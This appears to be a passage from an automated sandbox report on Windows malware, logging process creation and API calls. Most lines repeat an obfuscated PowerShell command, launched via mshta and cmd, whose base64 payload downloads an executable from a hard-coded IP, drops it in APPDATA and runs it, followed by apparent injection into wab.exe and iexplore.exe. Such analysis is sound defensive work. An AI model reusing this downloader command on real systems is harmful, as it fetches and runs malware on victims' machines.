              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline"Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\igccu.exe "C:\Users\user\AppData\Roaming\igccu.exe" Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES25D9.tmp" "c:\Users\user\AppData\Local\Temp\nsccvpb0\CSC7FE4A73D64AC4B32BC98E072D7992CAF.TMP"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"Jump to behavior
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.cmdline"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\igccu.exe "C:\Users\user\AppData\Roaming\igccu.exe"
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES85A4.tmp" "c:\Users\user\AppData\Local\Temp\czjog1ic\CSCE6080EA75C65453BAA6F2713EF82B3D.TMP"
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhpbwlhktxjmicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicbhzeqtvhlwrsagicagicagicagicagicagicagicagicagicaglw1ftujlumrfzmlusxrjb24gicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxtb24urgxmiiwgicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagigdrysxzdhjpbmcgicagicagicagicagicagicagicagicagicagiepeynphewjly0osc3ryaw5nicagicagicagicagicagicagicagicagicagicbnbsx1aw50icagicagicagicagicagicagicagicagicagicbedxpsv3fiv2hyqyxjbnrqdhigicagicagicagicagicagicagicagicagicagifvmktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginrciiagicagicagicagicagicagicagicagicagicaglu5hbuvzcgfjzsagicagicagicagicagicagicagicagicagicagtxjyzhnvicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicakekfawepnckw6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljezns4xntuvvdaymddxl2nzcnnzlmv4zsisiirlbly6qvbqrefuqvxpz2njds5leguildasmck7c3rhunqtu0xlrxaomyk7c1rhcnqgicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcawdjy3uuzxhlig=='+[char]34+'))')))"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhpbwlhktxjmicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicbhzeqtvhlwrsagicagicagicagicagicagicagicagicagicaglw1ftujlumrfzmlusxrjb24gicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxtb24urgxmiiwgicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagigdrysxzdhjpbmcgicagicagicagicagicagicagicagicagicagiepeynphewjly0osc3ryaw5nicagicagicagicagicagicagicagicagicagicbnbsx1aw50icagicagicagicagicagicagicagicagicagicbedxpsv3fiv2hyqyxjbnrqdhigicagicagicagicagicagicagicagicagicagifvmktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginrciiagicagicagicagicagicagicagicagicagicaglu5hbuvzcgfjzsagicagicagicagicagicagicagicagicagicagtxjyzhnvicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicakekfawepnckw6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljezns4xntuvvdaymddxl2nzcnnzlmv4zsisiirlbly6qvbqrefuqvxpz2njds5leguildasmck7c3rhunqtu0xlrxaomyk7c1rhcnqgicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcawdjy3uuzxhlig=='+[char]34+'))')))"
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhpbwlhktxjmicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicbhzeqtvhlwrsagicagicagicagicagicagicagicagicagicaglw1ftujlumrfzmlusxrjb24gicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxtb24urgxmiiwgicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagigdrysxzdhjpbmcgicagicagicagicagicagicagicagicagicagiepeynphewjly0osc3ryaw5nicagicagicagicagicagicagicagicagicagicbnbsx1aw50icagicagicagicagicagicagicagicagicagicbedxpsv3fiv2hyqyxjbnrqdhigicagicagicagicagicagicagicagicagicagifvmktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginrciiagicagicagicagicagicagicagicagicagicaglu5hbuvzcgfjzsagicagicagicagicagicagicagicagicagicagtxjyzhnvicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicakekfawepnckw6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljezns4xntuvvdaymddxl2nzcnnzlmv4zsisiirlbly6qvbqrefuqvxpz2njds5leguildasmck7c3rhunqtu0xlrxaomyk7c1rhcnqgicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcawdjy3uuzxhlig=='+[char]34+'))')))"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhpbwlhktxjmicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicbhzeqtvhlwrsagicagicagicagicagicagicagicagicagicaglw1ftujlumrfzmlusxrjb24gicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxtb24urgxmiiwgicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagigdrysxzdhjpbmcgicagicagicagicagicagicagicagicagicagiepeynphewjly0osc3ryaw5nicagicagicagicagicagicagicagicagicagicbnbsx1aw50icagicagicagicagicagicagicagicagicagicbedxpsv3fiv2hyqyxjbnrqdhigicagicagicagicagicagicagicagicagicagifvmktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginrciiagicagicagicagicagicagicagicagicagicaglu5hbuvzcgfjzsagicagicagicagicagicagicagicagicagicagtxjyzhnvicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicakekfawepnckw6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljezns4xntuvvdaymddxl2nzcnnzlmv4zsisiirlbly6qvbqrefuqvxpz2njds5leguildasmck7c3rhunqtu0xlrxaomyk7c1rhcnqgicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcawdjy3uuzxhlig=='+[char]34+'))')))"
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhpbwlhktxjmicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicbhzeqtvhlwrsagicagicagicagicagicagicagicagicagicaglw1ftujlumrfzmlusxrjb24gicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxtb24urgxmiiwgicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagigdrysxzdhjpbmcgicagicagicagicagicagicagicagicagicagiepeynphewjly0osc3ryaw5nicagicagicagicagicagicagicagicagicagicbnbsx1aw50icagicagicagicagicagicagicagicagicagicbedxpsv3fiv2hyqyxjbnrqdhigicagicagicagicagicagicagicagicagicagifvmktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginrciiagicagicagicagicagicagicagicagicagicaglu5hbuvzcgfjzsagicagicagicagicagicagicagicagicagicagtxjyzhnvicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicakekfawepnckw6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljezns4xntuvvdaymddxl2nzcnnzlmv4zsisiirlbly6qvbqrefuqvxpz2njds5leguildasmck7c3rhunqtu0xlrxaomyk7c1rhcnqgicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcawdjy3uuzxhlig=='+[char]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhpbwlhktxjmicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicbhzeqtvhlwrsagicagicagicagicagicagicagicagicagicaglw1ftujlumrfzmlusxrjb24gicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxtb24urgxmiiwgicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagigdrysxzdhjpbmcgicagicagicagicagicagicagicagicagicagiepeynphewjly0osc3ryaw5nicagicagicagicagicagicagicagicagicagicbnbsx1aw50icagicagicagicagicagicagicagicagicagicbedxpsv3fiv2hyqyxjbnrqdhigicagicagicagicagicagicagicagicagicagifvmktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginrciiagicagicagicagicagicagicagicagicagicaglu5hbuvzcgfjzsagicagicagicagicagicagicagicagicagicagtxjyzhnvicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicakekfawepnckw6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljezns4xntuvvdaymddxl2nzcnnzlmv4zsisiirlbly6qvbqrefuqvxpz2njds5leguildasmck7c3rhunqtu0xlrxaomyk7c1rhcnqgicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcawdjy3uuzxhlig=='+[char]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhpbwlhktxjmicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicbhzeqtvhlwrsagicagicagicagicagicagicagicagicagicaglw1ftujlumrfzmlusxrjb24gicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxtb24urgxmiiwgicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagigdrysxzdhjpbmcgicagicagicagicagicagicagicagicagicagiepeynphewjly0osc3ryaw5nicagicagicagicagicagicagicagicagicagicbnbsx1aw50icagicagicagicagicagicagicagicagicagicbedxpsv3fiv2hyqyxjbnrqdhigicagicagicagicagicagicagicagicagicagifvmktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginrciiagicagicagicagicagicagicagicagicagicaglu5hbuvzcgfjzsagicagicagicagicagicagicagicagicagicagtxjyzhnvicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicakekfawepnckw6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljezns4xntuvvdaymddxl2nzcnnzlmv4zsisiirlbly6qvbqrefuqvxpz2njds5leguildasmck7c3rhunqtu0xlrxaomyk7c1rhcnqgicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcawdjy3uuzxhlig=='+[char]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jhpbwlhktxjmicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicbhzeqtvhlwrsagicagicagicagicagicagicagicagicagicaglw1ftujlumrfzmlusxrjb24gicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxtb24urgxmiiwgicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagigdrysxzdhjpbmcgicagicagicagicagicagicagicagicagicagiepeynphewjly0osc3ryaw5nicagicagicagicagicagicagicagicagicagicbnbsx1aw50icagicagicagicagicagicagicagicagicagicbedxpsv3fiv2hyqyxjbnrqdhigicagicagicagicagicagicagicagicagicagifvmktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginrciiagicagicagicagicagicagicagicagicagicaglu5hbuvzcgfjzsagicagicagicagicagicagicagicagicagicagtxjyzhnvicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicakekfawepnckw6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjq1ljezns4xntuvvdaymddxl2nzcnnzlmv4zsisiirlbly6qvbqrefuqvxpz2njds5leguildasmck7c3rhunqtu0xlrxaomyk7c1rhcnqgicagicagicagicagicagicagicagicagicagicikrw52okfquerbvefcawdjy3uuzxhlig=='+[char]34+'))')))"
              Source: wab.exe, 0000000F.00000002.820272317.0000000000835000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00434C52 cpuid 15_2_00434C52
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: EnumSystemLocalesW,15_2_00452036
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,15_2_004520C3
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: GetLocaleInfoW,15_2_00452313
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: EnumSystemLocalesW,15_2_00448404
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,15_2_0045243C
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: GetLocaleInfoW,15_2_00452543
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,15_2_00452610
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: GetLocaleInfoA,15_2_0040F8D1
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: GetLocaleInfoW,15_2_004488ED
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: IsValidCodePage,GetLocaleInfoW,15_2_00451CD8
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: EnumSystemLocalesW,15_2_00451F50
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: EnumSystemLocalesW,15_2_00451F9B
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: EnumSystemLocalesW,27_2_00452036
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,27_2_004520C3
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: GetLocaleInfoW,27_2_00452313
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: EnumSystemLocalesW,27_2_00448404
